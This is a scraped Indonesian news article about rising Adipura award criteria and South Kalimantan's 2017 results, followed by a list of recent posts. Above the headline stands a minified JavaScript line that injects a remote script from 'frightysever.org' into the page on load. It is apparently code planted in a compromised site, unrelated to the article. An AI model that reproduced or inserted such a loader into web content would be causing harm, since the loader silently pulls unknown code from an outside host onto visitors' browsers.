(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kriteria Adipura Bertambah, PR DLH Kalsel Lebih Sulit


BANJARBARU, Setiap tahun Kementerian Lingkungan Hidup dan Kehutanan (KLHK) RI selalu melakukan penilaian dan pemberian penghargaan Adipura kepada kabupaten/kota yang dinilai berhasil mengelola kebersihan dan lingkungan perkotaan secara berkelanjutan.

Program Adipura sudah dimulai sejak tahun 1986, namun sempat terhenti pada tahun 1998 dan dicanangkan kembali pada tahun 2002.

Penghargaan Adipura terbagi menjadi 4 kategori yakni kota metropolitan (lebih 1 juta jiwa), kota besar (500 ribu-1 juta jiwa), kota sedang (100-500 ribu jiwa) dan kota kecil (kurang dari 100 ribu jiwa).

Plh Kepala Dinas Lingkungan Hidup (DLH) Kalsel Asbiani mengatakan, di Kalsel sebanyak 11 kota termasuk dalam kategori kota kecil, 1 kota besar yakni Banjarmasin dan 1 kota sedang yakni kota Banjarbaru.

Asbiani menyebut, bertambahnya kriteria yang dijadikan titik pantau penilaian layak atau tidak suatu kota mendapat penghargaan adipura makin menambah beban kerja yang dilakukan oleh DLH dan jajaran lainnya.

“Jujur kita berat karena kriteria bertambah terus, kriteria bertambah bukan berarti mempermudah, kriteria bertambah dari segi pekerjaan jadi lebih sulit. Penambahan kriteria di tahun ini meliputi tempat ibadah, lokasi car free day, wisata sungai pantau dan kantor kelurahan,” katanya kepada Kanal Kalimantan, Selasa (20/3).

Menurut pria yang menjabat kepala bidang Pengendalian Pencemaran dan Kerusakan Lingkungan DLH Kalsel ini, sejauh ini Kalsel cukup baik dari segi penerimaan penghargaan Adipura. “Bagi yang sudah dapat penghargaan adipura berarti apa kabupaten/kota lakukan terkait persampahan dan ruang hijau sudah sesuai arahan, kalau yang belum dapat berarti ada yang salah atau kurang,” jelasnya.

Dia menyampaikan di tahun 2017 di Kalimantan khususnya Kalsel sudah cukup bagus, kurang lebih kurang 70% kota tercapai Adipura, ada 9 dari 13 kabupaten/kota mendapatkan pengharaan adipura. Sisanya 4 kabupaten/kota yang belum dapat yakni Kotabaru, Tanbu, Amuntai dan Paringin.

“Permasalahan secara umum tidak dapat diraihnya penghargaan adipura karena 4 kota belum mencapai passing grade yang ditentukan,”ujarnya.

Asbiani menyampaikan, bila memenuhi syarat dengan passing grade yang ditentukan dengan range tertentu, kalau mencapai angka rata-rata 75 maka bisa lulus.  Target mempertahankan 9 kota untuk tetap Adipura, yang mempertahankan bukan cuma DLH, namun juga pemerintah kabupaten/kota masing-masing.  Terkait hal ini, tidak hanya pemerintah, namun perlu juga peran dari masyarakat.

Asbiani menyampaikan, trend perolehan kota yang meraih penghargaan Adipura di tahun 2017 mengalami kenaikan dari tahun sebelumnya, dari 7 kota di tahun 2016 naik dua kota. “Alhamdulillah kita naik, mudah-mudahan di 2018 yang 9 kota yang sudah dapat penghargaan dapat bertahan dan kota lainnya juga mendapatkan penghargaan,” pungkasnya.

Terpisah, Kepala Seksi Pengelolaan Sampah Bidang PSLB3 DLH Kalsel Dini Setiyawati menyampaikan, tim penilai adipura berasal dari DLH, LSM, Perguruan Tinggi, Media Massa, KLHK, dan P3E regional Kalimantan yang ada di Balikpapan Kaltim.

Pihaknya juga terus melakukan sosialisasi dan pembinaan ke 13 kabupaten/kota terkait penilaian adipura.

Dalam penilaian adipura, ada dua aspek utama yang menjadi dasar penilaian, meliputi kondisi fisik yaitu kebersihan dan keteduhan lingkungan perkotaan, dan kondisi non fisik yaitu mengenai institusi, manajemen, dan daya tanggap dalam mengelola lingkungan perkotaan. (abdullah)

Reporter: Abdullah
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

16 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

18 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

19 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

20 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

20 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

1 hari ago

This website uses cookies.